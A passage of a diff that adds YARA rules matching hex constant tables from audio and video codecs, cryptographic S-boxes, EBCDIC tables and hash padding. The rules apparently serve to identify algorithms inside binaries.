012029d5ab7ca85bb30d92a84898245ac942986a2ea3650737b447de2d214aeb46d7fb0c38dcec29f48086b2f27069e3644439b497c90752ebd15ad215fda6c2b2577db483f5b669c9385ea03c5a835237245c92da165b8a718961518098b5ded7a37690dbd74c73e137189bba0761e2c2fe3536aa5293f94c4b7f8659e3ede3b8b13ffc6ecabfdb52e6a7ca0be2b750ada1c40c457dc56712125198707d701d3c6de5658acc673ff51c741f9b52ca9977606c985bca0aa17c99133fe2a740e4c9a0aaef4622a1672a98caa99df35299193a15abae527fe3591fd868e533f1d4b07caff1bfccd245db63c0e5d88e97fe0b28443e249e18dcac03ac7b42e974576bce548d6fff96eb4560dbe505fefc0056d0e20bd7a7f59ee7df1e105242f0c1fe3430267f54127dd09abf44f20cc4725c5ace472c23cb8c3928f34755d641f187e835329724ccf9a31dad84d9bbbece1cae381328e81ebc787e6d69e406d8e4a7fad3d44cf53f0790bf7284c3c7a4383373e49c8271b46f60372b23de2f0ffe65723d051f82e6f6790d3e85f339ed424bdcb265e945f7b464016eeb10ab849695fa64a3f59875422586cb543500b57a2e7fb4f11b4933c6385ba0acca4f5e58b1dec78886ba615f2161b50a72173d2d13610273bda69f75f46f27f8ad0d1be36195435d993887a9586c8b8b3b1cfe2ad50e92f813f4e096ad70ff9b695e0eeb2b3aa2d39611e5c9b49bd1a1ed8e22842557f0ca59a047915395f42e801bf95f4f3bcc3c74b6a52d7d3b7b40000000000000000e5d6b92a112c36a0654e368c1906e49152e4986bc1624145d5e34f6a12a49f13f812ed06f58bdb018ce848b68f08859a693ef19c9e24b33acfb843e12def7ed53511d94c1c6beab1c980dae994feaf7a031cb604a6f292ad18e07b20fb44aea3acceec658df84beb15377d9f1e9b24c0f146051a6d4acfa81a5b0c8b3f4be1c60ecbb0bb432d18ce7365fd17a16f52fcab51b4c25614478cfb0e5b02537949ac0a485e183e3386043c45315084aafe181dc4542ce4a7eda10f6c711421d0c506f25ab31ecbb85d05b7322141d04e77e577e613b4dc71cc3657c0b767de8102479cfb1a258e70e2580954e81c98c114a93035f6400388a9b30dd706bfe5df8a63e9a67e3a960e610b9878f486f36e7c92a3a29d71ac288eed2a6efacb3cc34875908bdd350952b5f3534359c4a39f9c8d80988fa6082ad231e6ca0f2eb7dea40d566776c8bc7cdf8f6ea1a93b45c8bf5dae759bce49f7048e48bf94e0fe29a083ef9ee7322f1fb0a4360d6f48ba99781c02bb77abc40f4f653efe46fb40a5b17d70794b13079dc051fc9103a5889545cb9b644282559cee3f7641d21bbe8c11fed75838c1d6abd07693976b31afa0275e1c639583865a3069912c1c9a6baf683b162bcb9bb869b66d12a82538c57728a7c0d432f50c3fbbd3130fe497a78af56f9230aa9ecd5dfa964e870de84738712ce76dce81d52379c5b9f991fa93636f2bec82513689ed22097dae4dace2424a3227b9fc74d91cc2166f06689427356295319237ef6175747baaf6756d34e99a449fe7ac21288270f564e9f7237bfb395934b618e37e963779bfc108f22a72be841490bc307c66f908a686b27db3cbcdefeabac83e30fcf3a654dc0163787390eaf5c5ebb91054516238c6dff3f9b460d286a016aeb13b039e6c1ade9081c7f03810135293017867c2b58956ea1441388074faa5b07a835e9b9ac3832d376133f7788a62a0fda1093037aaaee7d864a5d4841b610575344cfb61cdd82f64187a5bad692dcaef059623792da30f9f5cd4f824a54a707fee50bb94083396744c2b39e3ee2022a83de70f8ff4feb229fa173768993033fcd96ef2ca9c6ced320c3dd72c5663c385d299da261e3ddbbbe11fde25028bdf1d138d73bcddbef68c802c29d3dbd662abb54ebcfd36c20aea6898030bef9fb75cce5bcccd03344ae9e031b01f7f238720a8a2c43a7da8583dbb2fb706389908b911d1afe471788573d1eb687b96d4a45b539b9da9eac369921b08e92026a4d302f0ce71606a198006e5a793590b07dc9dac1a89da8f3e7e33745a15bb42e651576c204e6a22479838d621972df1a26ce72f4412a2055cdeced55325e0f296260ecf75a25a17b1d83b5e8824079f58a7dbec0c67d27c17cdc9489374faa99aad3184946441eb7cfc66e8b42a4a04e34b3a26efe6b2160e4dcfad34e79d5cdb8aec8d3f906dbd1f3fe33a2df0dd1066d9e8985672ce1f824e4f12a31ddfab11722c971917d0c760660d47dc115bb0707759a355ec2eed146841ddd6bf7f153a07264d055733294044a57a3b1e6b8586375a2bfc5f08f329b3fa3cc9616376af84a017353e62d16e2bc2eae8f628d58d60f8cc0710ff8db5a12e67d7665c2f28d0824f598bcb3bad4250f1e01f4918554f9cd47d4bbe66c95d488f634cf6d95dbdb6a6c3cfafd25a612b0ad94647d3e5f4dff9658597148592d2beb9947c098c0380bf97fa2181657c600d13b9233a12d7a4025cdc557bc0cc1a8e4d2242f7caf8c01a2687d160a1c96fba01d90c70c710872257aba84d02c6f0e6d52189cc67ba90ebc698b0ad79e60ba27b8271de8abc65601d997a31150b39ae4655178c0a34da946ba5f77e9c12d45b1e074568925f1bf62ae01947ba8f99b9736bde0cd0dd4e6ac4df2f4ad5c723200b77c3c884f1aacd297edcb7a7768a658bba838439a2aed8409c7eb2fba844b0d89fd4448ec5705942db404cbd53041569e266528088bff4763c95aff23916b1f6f18223f80dcc259d544674245bbd04b84da43dc5d677c4828a8d4f8919edf55852eb1d099152012e6eed259099eb10ffc12bc93b645e3e95bd01a7c1af62fdddc896b3443db043645cee39269d4de26d6c229dd378c6ff8114c5f01df913dcf8d10483eea37d1e9ecadb28ffd1518987ddf0e1c4b50fb71260c173f35a6ec2661bb85e5055f19eb2e3d83449d5f77b15704ba322e458db322ee15557896c32a86ac26f455ec830f4b68b77101154e489fda119eada6827c188f3fd72b1a94580cd42b75566613e189960680da5322087b2ef2805063bf646097df01e149a2b61369b5749dd84da3406578a6c489b9e9cfcd06f4e74c0e33fa6f96bb4d8585751f1ff9751cd9f55823e7701c42b262de192c552775a3a43bbc37a2683512a85c321098f52cf250713399829c12d1ddba79b5e053e87be998fc56c65328f4924d4d9e171ca8cae5ff7273034fca81910b9596bb3afcaf98a76ce037e88f09901939d8e6a70f37e7ab06396700ea7887216b52ed267e9281acc408033bf79ebd3014db4af5664db6c899e3bef5ec7d2ba4825bd2004abfe6b9aa7d9e01cbbe5e42c9f3c39c3826214ea32975a76f7ffde676deb8010b312597783b8a2694ea068daf59c81d4983474961135b6914d4713f90b9903b97d6a77d6436f1bba7fd0254744153d392efaa0846592d81b12a1dd273f0f73b7dae205c0f6444bb073a63ccb56787273f1c4282164ce89d535f1e94abfbaf699ee4ec538b0d5ed23919ee07ff4e4f3a769f05cb775c284ea1f8aed19d47fa4eeb474868373c1fa62ef13ec8a491769c98e140d66200af1da3fbc0680a463168555ab21142f58f9db92799b5c0aee027d564c5a37d10000000000000000f0e4e6177d5042c823f5209324b2eef39dabacc843d8e7c9e05bb2dcd9f386fffb3f4478b6fab3b4d7b9d331704d9db1275d35260d1ddf794561c823d190ba8e13c1dc3b3da257aa473538833f3d58cb012a785077ac71d808a52a9f52ab62e164c018101b8fb638a0b8171a56607c23fce9d93d065411a3a53a7aff08633c71a93745d573676f1a82674fd9057ee308ca21c080d8467b35fa153c28c156c26c06fce515c702d3cf1417417e8d0cf5bd0bdba26fcbaaf17c05826de55e034052fdc3a16d71f8607b6d4f4adf3e88a5012dacef19b11b5fdd9ed52438dad97454747f4cdbbf2c720f07d69d45b0aea21710bf54cba4a3c437a81d3d8504cb1ec2f44cf3a254ff7342dbb4ec1b0b49ceda614275f5458cf66ab5852e34acc0f84670d7596e96834385311e84f86ebcc881d311c68459e2ac3bf1ce9e470afc331032600c08f7bd5b1c89bcedb6ced41274c95f48704147e8a83891d6374bbbdbb8f6180302ba52910712eba46b4a0e2672ad9f50605ac85e90b988111ed7c4ab2d834d378972d292d054f4e4b8029f0f61da9e944b7ce5bf028119c7299c7f70954dc4e2bc833bd86f71fd213ee12f325da76e8a5fe6cede34dc62715ebbe76ccda1926f4a21cc0dfb0e59cf8a95a9b12e40e3a5c68f93fadca2ece7bab8cd9e66dd48090ecc4b1d153ac52697a51639fd5d7bb67727981c58c4780f0a4defca1bf7327b52cdfee0df2b500a0c76198c121d9813b1a80be6842509c586e3b03d3cbc0a7cfb89c7eb7f6694e8b0f522547d7555348bc88003d78f4008a309d6c1bbbf74f40b10c678e2c62cffaaa342285e0c0d3f2a7b04536b623cfd05dc8d65f7f5668bf22353029a9fff5c68ad75058c532279fdb231ad76bbdce1be39694968d1453624b74f4e7e2423bdd6941c4ce4a3c69feacf61efbec0d01abf6440fb912c869749c6b72e05762bbc7b5181904a282e82fcef181f8fbe5e8c5b676a093a7cda6644ed8710ee8c3e805390d75226c875302036eb9970849baaccc27c30c71cb26be1dfa7975cdf1cf9ae22e6ff50f2b016b793fda08dd693ab6107e1ec698be81d162079f031461f40d348912913b7d1de94426d1a03b12d3b81856fc9ccb00743d1f2c3b814c70687fad4ee5986e20f427c375e64baf841cc882ffb2029aa49cd25ea66fc87e8fe98438b58e41ea644f20f9162afec1643b1de63a117f80254f0a0eeade2455c51ce2750346d802904faac98b46e5767be90e0828e25a5b379cb216bc22b89208ba863bdb37d6e37e261eda9be1b4ee5d9df3987f0c6ad69e75f6a1727948b26774d767ab1aea11b64f6a46f09354bcdf75dc568e8d922f39a6ee7e451d15536c819bdde126a96aee1d890c3c9cd0d4eba6a4c1a3a4bf256a01418ec32ed243f474b72fb1579af950e8657117385286e31c22fa789369cd8ca64eb92485d47889695e6b97863ac4b3807a944390ba0e9d4e013fcf495c6e6a757c91ef15530e3253a2c40f215629a7d318df37645de1a4e8ef418a5449386cf5a6c2cd1d28211952c9bd30fb5ef8ac2654657d581e9ab63b5759dca8d5f21a1d033ca1f0cb68d14f803e77b23fe181a7e54f608a6d655de9ce875337eb9349ce91d30bf88d3eaaa68e365f5065b9424fe0766dff4f06a99d79a8e260716520801adc59ddcae65ea60406c23c7e03d13bbd215b89beade3681fe554a8e8887e5223c5b7da35a1fcce31146a604c1b253b3711c6e5a51334a745880112ac43e6d33228cb908774f90121c6d963a2a04a815b529af318acb0bb8d0afea0aedd4c75bc1e94c0e2cc3ae924ffd41680c2ff81fb95fb6bd9885b1d29cb5d0411f0d27477a0ca822b3febd299de8f9f3e6908cebb24f70c57aa41002af7fcf4da94a127ff933957a78b6fba6c435c16bdb41c9dd96f83f8b04e78d2f99695d24e8d23bbed42e4edde32a7a725c01b5fdca4cee9aecf497a9b793f26342d67156e722df58c3531e9f2b73a9d19e0f82d0187e8e96e4032af2ab91a693e238dcb4a2cfa3ad6586453b677b0cfb015d29b2f959d3a3c20e372dd25b875362e09acf971930060481a4d70eacb528302d642f487283a9ce782ea1c05aad2b329736be4f1ee69b41310a7519439d2d3616926941afcba0c0b465bcd5496cf709aa94e9e5505cf10d2b303eebec568df6a2f7d59468cd273a608be55348468f59dd38983d39bbae673c17aa605f2f46d7c935fe1ded7cf5a6d55ba44c79580ba1b38450bcccdd25951f44a8fa5176895d5c9c4f33 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights2__flt32___32_lil_124_
+{
+strings:
+	$a0 = { 97fc533b214d653b4e8d823b59d6013b2ba7983a64fdea3a07fdb73a55afae3a234bc53a9eacff3a14d8353ba8e5873b53b4cd3b816b193c8e688c3c1c8bb73c09a1e83cb8a0283df2ce413d8dc1593dc685883d3e02a43d294faa3d036ab03d1798ca3d8ac7e53d22fceb3da9f7f43d32710b3e24281e3ee696263e }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_sqrt_1_minus__flt64___64_big_128_
+{
+strings:
+	$a0 = { 3ff00000000000003ff00000000000003feff5b668badd143fef7d7954a2102d3fefeb8efdc579583feeb40112be626b3fefd75903629c3e3feca13fedce1ba43fefaf6fd91aa7bb3fea763cdc0f9c103fef61991293b4053fe69a1d085fb1273feeccc1f8660b553fdd04bc67cfc7ff3fedbaf44f3f24d00000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule ARIA_encryption_S2__8_byt_256_
+{
+strings:
+	$a0 = { e24e54fc94c24acc620d6a463c4d8bd15efa64cbb497be2bbc772e03d31959c11d06416b55f09969ea9c18ae63dfe7bb007366fb964c85e43a0945aa0fee10eb2d7ff429accfad918d78c895f92fcecd087a88385c832a2847dbb8c793a41253ff870e3136215848018e377432cae9b1b7ab0cd7c4564226079860d9b6b91140ec208cbda0c984044923f14f501f13dcd8c09e57e3c37b653b028f3ee82592e515ddfd17a9bfd49a7ec53967fe769d43a7e1d0f568f21b347005a38ad57986a830c6514b1ea627f635d26e2416825fdae675a2ef2cb21c9f5d6f800a72449b6c900b5b337d5a52f361a1f7b0d63f7c6ded14e0a53d22b3f889de711aafbab581 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_sbox__32_big_1024_
+{
+strings:
+	$a0 = { a3aa1887d75e435c0965c042830e6ef4f857ee204884fed3f666c502f454e8aeb32ee9d9211f38d415829b5d785cdf3c99864249b12e3963aff4429ff9432c35e7f403252dc0dd704d973ded8a02dc5ece175b424c0012bfca94d78c2eaab26b52c11b9a95168146d9ea8ec51e8ac28f4eed5c0f38b4101c442db082280929e10a1843dedf8299fc022fbc4ba03915dd17a803faf146b2de6023334268cee7c312d607efb797ebab7a7f859bc31f2e2fe95b71dafae2269a3d39c3d153a56b3696c9def284c9fc5f6b27b3a3baa56ddff225b510630f85a79ae82e7119cb88167c951e2aaef5f6afe5cbc2b3f54ff55df76b6214160b83e36a9ea6f5a2e041af392f1f17b63b99ee7ba65ec00f7016c6c17709a493326e0181b280d91bfb1418eeaff227b45482031a6b9d96ea17a8c0d0d5bf6e91ee78882ffcfe64b8a193cd550d0184b9ae4930da014f3685a870883fad6c2a4122c678bf204de7e0c2e7595a00248e583b446b800d9fc25f14a895666cc3a10bfef170d8c19155907b8a66351b5e69d5a8623ec0bdfa35a7f068cc333a6acd0655e93665602db969df13c1450bb16d0080b83c94b2376356d8a9116db6bc13985579d79b5c2fa876f4196e97db5476fc64a866b26e16adc27fc515b06feb3cfec8a306db6799d9201a9133e12466ddebeb5dcdd6118f50e4afb226ddb9cef347b361894a7a19b11dc73084427ded5ced8bc58f9edde4216e1e47fb49cc715e3cc0ff99cd122f0f43d25184277a5e6cd2bf18bc07d7c6e0d4b7e420de1f523fc7d9b8a267da1a6b18888c0289d1e354cbba7d7930cc77531f2d96558d829da1c61590a78fc1c149aa537f1cc8779b697471f2b7dc3c58fac9dc44185d8c8c765c20d9f031a80d4da474c473709410e9880e421161c8082b2c6b334a9ff68ed20d43cc1b2b3c0ff387e564a050f55a4f8240f8e754a7f15f6400fe21266d37d67dd506f103e0097340bbde3634670fa84b31ab9e1cdab618731f52f5d158eb4fc4b9e343fd8d77dd3bb93da6cc0fd52dfb5412f87fa63360abe53ad0e6700f1c3e24ed0b5b3dc1eca5366795ad549d1504ce46d7237abe769c48e0a014f07c02511249b7229ed6baf0a47f7829cfffbd7907ca847165f4da7e9f35daffd2aa448c7452ac0ed674a7e261a46a0c63152aef12b7aabc615927724fb1187551758d6f81687b3752f0b3a14254edecc77271d331acab8ef94aec62e994cd8b4d9e8186623730108a21e8e8917f0b08a9b5d67797adf811d30431becac92192b35d464f430a3624194022c5bca65e32ec70ba36aea8cc9d7bae8bcf2924d5f3098a5aa6396b81bbde2522ac5c1cb85eb8fe1d6cb3c697a9164f8313c163765719224c25203b35b53ac0fee366a19abdf0b24fa8fda9983ad52d71010896a805e6053f59b0d3002a99cbcc465e3d40 }
+
+condition:
+	$a0
+}
+
+	
+rule padding_used_in_hashing_algorithms__0x80_0_____0___8_byt_64_
+{
+strings:
+	$a0 = { 80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule BICOM_bialib_sufftree_cpp_dini__32_lil_640_
+{
+strings:
+	$a0 = { 190000001d0000001e00000021000000250000002a0000002c0000002a0000002d0000002f0000002d000000300000003100000032000000350000003b0000003c0000003d0000003d0000003d000000170000001f0000001a0000001f000000260000002d0000002e0000002a0000002e000000320000002f000000310000003400000031000000350000003b0000003c0000003d0000003d0000003d000000170000001f0000001f000000270000002c000000300000003400000032000000360000003400000036000000370000003900000037000000390000003e0000003d0000003e0000003d0000003d000000170000001c000000210000002e0000003300000036000000360000003400000036000000380000003900000038000000380000003a0000003a0000003e0000003d0000003f0000003f0000003b000000100000001b000000200000002f00000034000000350000003500000038000000380000003a0000003a00000035000000390000003c0000003d0000003e0000003f0000003f0000003f0000003900000019000000210000002600000038000000340000003500000038000000370000003a000000360000003900000038000000370000003d0000003e0000003f0000003f0000003e0000003f0000003d00000019000000210000002600000038000000340000003500000038000000370000003a000000360000003900000038000000370000003d0000003e0000003f0000003f0000003e0000003f0000003d00000019000000210000002600000038000000340000003500000038000000370000003a000000360000003900000038000000370000003d0000003e0000003f0000003f0000003e0000003f0000003d000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossy_quant_d__flt64___64_lil_256_
+{
+strings:
+	$a0 = { 00000000000000009a9999999999f93f000000000000f03f9a9999999999e93fe17a14ae47e1e23f000000000000e03fe17a14ae47e1da3fc3f5285c8fc2d53f52b81e85eb51c83f295c8fc2f528bc3fb81e85eb51b8ae3fec51b81e85eba13fdbf97e6abc74933fba490c022b87863f39b4c876be9f7a3ffca9f1d24d62703f7b14ae47e17a643fc7bab88d06f0563f2d431cebe2364a3f92cb7f48bf7d3d3f613255302aa9333f809f71e14048263ff168e388b5f8143ff168e388b5f8043ff168e388b5f8f43ef168e388b5f8e43ef168e388b5f8d43e00000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_32_120__16_lil_28_
+{
+strings:
+	$a0 = { 040008000c00100014001c0024002c00380044005000600070007800 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_144_cb2_base__16_big_256_
+{
+strings:
+	$a0 = { 2f8e344436373608337233ab33942f15307a36a4380c3927332c346733a82fec2ece360134bb3782363539c435f333352cb933db3221359531b8358031d7307527f62f992d6c33692df234923018321228cb31e52eeb36c42e2a360130a533aa28ce336a2e6937dc323b3fa034b23acd27ab32142cff36952f093ae9315b37763776315b3ae92f0936952cff321427ab3acd34b23fa0323b37dc2e69336a28ce33aa30a536012e2a36c42eeb31e528cb3212301834922df233692d6c2f9927f6307531d7358031b83595322133db2cb9333535f339c43635378234bb36012ece2fec33a83467332c3927380c36a4307a2f15339433ab33723608363734442f8e }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_8____PQuant____31__32_lil_96_
+{
+strings:
+	$a0 = { 000000000700000006000000010000000100000002000000010000000200000003000000010000000300000004000000010000000400000005000000010000000500000006000000010000000600000007000000000000000600000008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule ISI_rFactor_encryption_algorithm__64_big_48_
+{
+strings:
+	$a0 = { e56f8aa2ed826faa2f777cf9c70031d812b42c082f7753a9e5c4f0aca218138dff0000000000000000000000000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule Electronic_Arts_TQI_base_table2__32_lil_256_
+{
+strings:
+	$a0 = { 080000001000000013000000160000001a0000001b0000001d00000022000000100000001000000016000000180000001b0000001d000000220000002500000013000000160000001a0000001b0000001d00000022000000220000002600000016000000160000001a0000001b0000001d000000220000002500000028000000160000001a0000001b0000001d000000200000002300000028000000300000001a0000001b0000001d000000200000002300000028000000300000003a0000001a0000001b0000001d00000022000000260000002e00000038000000450000001b0000001d00000023000000260000002e000000380000004500000053000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_interplay_delta_table__16_big_512_
+{
+strings:
+	$a0 = { 0000000100020003000400050006000700080009000A000B000C000D000E000F0010001100120013001400150016001700180019001A001B001C001D001E001F0020002100220023002400250026002700280029002A002B002F00330038003D00420048004F0056005E00660070007A00850091009E00AD00BD00CE00E100F5010B0124013E015C017B019E01C401ED021A024B028002BB02FB0340038C03DF0439049C0508057D05FE0689072207C9087F09450A1E0B0A0C0C0D250E580FA8111512A414581633183A1A6F1CD91F7B225A257D28E82CA430B735293A033F4E45154B62524459C561F66AE774A87F4D8AEB9798A56EB486C4FFD6F9EA97FFFF00010001156929073B014B7A5A926868751580B38B5895199E0AA63BADBCB49EBAEBC0B2C5FDCAD7CF49D35CD718DA83DDA6E085E327E591E7C6E9CDEBA8ED5CEEEBF058F1A8F2DBF3F4F4F6F5E2F6BBF781F837F8DEF977FA02FA83FAF8FB64FBC7FC21FC74FCC0FD05FD45FD80FDB5FDE6FE13FE3CFE62FE85FEA4FEC2FEDCFEF5FF0BFF1FFF32FF43FF53FF62FF6FFF7BFF86FF90FF9AFFA2FFAAFFB1FFB8FFBEFFC3FFC8FFCDFFD1FFD5FFD6FFD7FFD8FFD9FFDAFFDBFFDCFFDDFFDEFFDFFFE0FFE1FFE2FFE3FFE4FFE5FFE6FFE7FFE8FFE9FFEAFFEBFFECFFEDFFEEFFEFFFF0FFF1FFF2FFF3FFF4FFF5FFF6FFF7FFF8FFF9FFFAFFFBFFFCFFFDFFFEFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_512__16_big_62_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c0034003c00440050005c00680078008c00a400c000e00100012001400160018001a001c001e00200 }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_GPixmap_dither_table__8_byt_256_
+{
+strings:
+	$a0 = { 00c030f00ccc3cfc03c333f30fcf3fff8040b0708c4cbc7c8343b3738f4fbf7f20e010d02cec1cdc23e313d32fef1fdfa0609050ac6c9c5ca3639353af6f9f5f08c838f804c434f40bcb3bfb07c737f78848b8788444b4748b4bbb7b8747b77728e818d824e414d42beb1bdb27e717d7a8689858a4649454ab6b9b5ba767975702c232f20ece3efe01c131f10dcd3dfd8242b2728e4ebe7e8141b1718d4dbd7d22e212d22eee1ede21e111d12ded1ddda2629252ae6e9e5ea1619151ad6d9d5d0aca3afa06c636f609c939f905c535f58a4aba7a8646b6768949b9798545b5752aea1ada26e616d629e919d925e515d5aa6a9a5aa6669656a9699959a5659555 }
+
+condition:
+	$a0
+}
+
+	
+rule ElGamal_public_key_encryption__qbits___32_lil_76_
+{
+strings:
+	$a0 = { 7700000091000000a5000000b7000000c6000000d4000000e1000000ed000000f9000000030100000d010000170100002001000028010000310100003901000040010000480100004f010000 }
+
+condition:
+	$a0
+}
+
+	
+rule Bijective_EBCDIC__character_set_IBM_1047__to_US_ASCII_table__32_lil_1024_
+{
+strings:
+	$a0 = { 000000000100000002000000030000008500000009000000860000007f000000870000008d0000008e0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000008f0000000a000000080000009700000018000000190000009c0000009d0000001c0000001d0000001e0000001f000000800000008100000082000000830000008400000092000000170000001b00000088000000890000008a0000008b0000008c000000050000000600000007000000900000009100000016000000930000009400000095000000960000000400000098000000990000009a0000009b00000014000000150000009e0000001a00000020000000a0000000e2000000e4000000e0000000e1000000e3000000e5000000e7000000f1000000a20000002e0000003c000000280000002b0000007c00000026000000e9000000ea000000eb000000e8000000ed000000ee000000ef000000ec000000df00000021000000240000002a000000290000003b0000005e0000002d0000002f000000c2000000c4000000c0000000c1000000c3000000c5000000c7000000d1000000a60000002c000000250000005f0000003e0000003f000000f8000000c9000000ca000000cb000000c8000000cd000000ce000000cf000000cc000000600000003a0000002300000040000000270000003d00000022000000d8000000610000006200000063000000640000006500000066000000670000006800000069000000ab000000bb000000f0000000fd000000fe000000b1000000b00000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000aa000000ba000000e6000000b8000000c6000000a4000000b50000007e000000730000007400000075000000760000007700000078000000790000007a000000a1000000bf000000d00000005b000000de000000ae000000ac000000a3000000a5000000b7000000a9000000a7000000b6000000bc000000bd000000be000000dd000000a8000000af0000005d000000b4000000d70000007b000000410000004200000043000000440000004500000046000000470000004800000049000000ad000000f4000000f6000000f2000000f3000000f50000007d0000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000b9000000fb000000fc000000f9000000fa000000ff0000005c000000f7000000530000005400000055000000560000005700000058000000590000005a000000b2000000d4000000d6000000d2000000d3000000d500000030000000310000003200000033000000340000003500000036000000370000003800000039000000b3000000db000000dc000000d9000000da0000009f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule FLAC_log2_lookup__32_lil_512_
+{
+strings:
+	$a0 = { 000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000070000000300000001000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100006a00000031000000180000000c000000060000000300000001000000010000000000000000000000000000000000000000000000000000000000000000100000a4060000150300007d010000bc0000005d0000002e000000170000000c0000000600000003000000010000000100000000000000000000000000000000000100406a000051310000d6170000ba0b0000d1050000e602000072010000b90000005c0000002e000000170000000c00000006000000030000000000000000001000fea3060013150300607d01009dbb0000105d0000592e0000211700008e0b0000c6050000e302000071010000b90000005c0000002e0000000000000000000001e63f6a003051310005d61700cab90b00fcd005008fe502000e720100d8b80000615c00002d2e0000161700008b0b0000c5050000e302000000000000000000105cfea3060113150349607d01a69cbb00ba0f5d00f7582e00da201700878d0b000bc60500d7e2020060710100adb80000565c00002b2e0000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_level_table__flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 6d601f5b9ea0c63fd2e28c614e50db3fb431e15d4f50e33fb431e15d4f50eb3f3d0d5a404f50f33f0000000000f0fa3f00000000000003400000000000f00a4000000000000013400000000000f01a4000000000000023400000000000f02a4000000000000033400000000000f03a4000000000000043400000000000f04a4000000000000053400000000000f05a4000000000000063400000000000f06a4000000000000073400000000000f07a4000000000000083400000000000f08a4000000000000093400000000000f09a40000000000000a3400000000000f0aa40000000000000b3400000000000f0ba40000000000000c3400000000000f0ca40000000000000d3400000000000f0da40000000000000e3400000000000f0ea40000000000000f3400000000000f0fa4000000000000003410000000000f00a4100000000000013410000000000f01a4100000000000023410000000000f02a4100000000000033410000000000f03a41000000000000434100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e33fdc31af0200f0ea3f000000000000f33f0000000000f0fa3f00000000000003400000000000f00a4000000000000013400000000000f01a4000000000000023400000000000f02a4000000000000033400000000000f03a4000000000000043400000000000f04a4000000000000053400000000000f05a4000000000000063400000000000f06a4000000000000073400000000000f07a4000000000000083400000000000f08a4000000000000093400000000000f09a40000000000000a3400000000000f0aa40000000000000b3400000000000f0ba40000000000000c3400000000000f0ca40000000000000d3400000000000f0da40000000000000e3400000000000f0ea40000000000000f3400000000000f0fa4000000000000003410000000000f00a4100000000000013410000000000f01a4100000000000023410000000000f02a4100000000000033410000000000f03a4100000000000043410000000000f04a41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule bijective_ebcdic_to_ascii_table__32_lil_1024_
+{
+strings:
+	$a0 = { 000000000100000002000000030000008500000009000000860000007f000000870000008d0000008e0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000008f0000000a000000080000009700000018000000190000009c0000009d0000001c0000001d0000001e0000001f000000800000008100000082000000830000008400000092000000170000001b00000088000000890000008a0000008b0000008c000000050000000600000007000000900000009100000016000000930000009400000095000000960000000400000098000000990000009a0000009b00000014000000150000009e0000001a00000020000000a0000000e2000000e4000000e0000000e1000000e3000000e5000000e7000000f1000000600000002e0000003c000000280000002b0000007c00000026000000e9000000ea000000eb000000e8000000ed000000ee000000ef000000ec000000df00000021000000240000002a000000290000003b0000009f0000002d0000002f000000c2000000c4000000c0000000c1000000c3000000c5000000c7000000d10000005e0000002c000000250000005f0000003e0000003f000000f8000000c9000000ca000000cb000000c8000000cd000000ce000000cf000000cc000000a80000003a0000002300000040000000270000003d00000022000000d8000000610000006200000063000000640000006500000066000000670000006800000069000000ab000000bb000000f0000000fd000000fe000000b1000000b00000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000aa000000ba000000e6000000b8000000c6000000a4000000b5000000af000000730000007400000075000000760000007700000078000000790000007a000000a1000000bf000000d0000000dd000000de000000ae000000a2000000a3000000a5000000b7000000a9000000a7000000b6000000bc000000bd000000be000000ac0000005b0000005c0000005d000000b4000000d7000000f9000000410000004200000043000000440000004500000046000000470000004800000049000000ad000000f4000000f6000000f2000000f3000000f5000000a60000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000b9000000fb000000fc000000db000000fa000000ff000000d9000000f7000000530000005400000055000000560000005700000058000000590000005a000000b2000000d4000000d6000000d2000000d3000000d500000030000000310000003200000033000000340000003500000036000000370000003800000039000000b30000007b000000dc0000007d000000da0000007e000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_f_huff_opd__8_byt_14_
+{
+strings:
+	$a0 = { 01E10203E8E20405E4E7E306E6E5 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_eac3_hebap_tab__8_byt_64_
+{
+strings:
+	$a0 = { 0001020304050607080808080909090a0a0a0a0b0b0b0b0c0c0c0c0d0d0d0d0e0e0e0e0f0f0f0f10101010111111111212121212121212131313131313131313 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc8_cnk__32_big_2048_
+{
+strings:
